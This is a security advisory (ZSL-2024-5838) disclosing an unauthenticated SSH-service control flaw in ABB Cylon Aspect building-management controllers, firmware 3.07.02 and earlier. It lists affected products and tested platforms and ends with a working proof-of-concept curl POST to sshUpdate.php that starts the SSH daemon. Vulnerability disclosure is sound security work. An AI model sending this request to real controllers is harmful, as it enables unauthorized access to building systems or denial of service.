ABB Cylon Aspect version 3.07.02 suffers from a vulnerability that allows an unauthenticated attacker to enable or disable the SSH daemon by sending a POST request to sshUpdate.php with a simple JSON payload. This can be exploited to start the SSH service on the remote host without proper authentication, potentially enabling unauthorized access or stop and deny service access.
ABB Cylon Aspect 3.07.02 (sshUpdate.php) Unauthenticated Remote SSH Service Control
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.07.02
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The BMS/BAS controller suffers from a vulnerability that allows an
unauthenticated attacker to enable or disable the SSH daemon by sending a
POST request to sshUpdate.php with a simple JSON payload. This can be exploited
to start the SSH service on the remote host without proper authentication,
potentially enabling unauthorized access or stop and deny service access.
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2024-5838
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5838.php
CWE ID: 306
CWE URL: https://cwe.mitre.org/data/definitions/306.html
21.04.2024
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$ curl -X POST "http://192.168.73.31/sshUpdate.php"
> -H "Content-Type: application/json"
> -d "{"serviceAction":"start", "key":"sshenable"}"
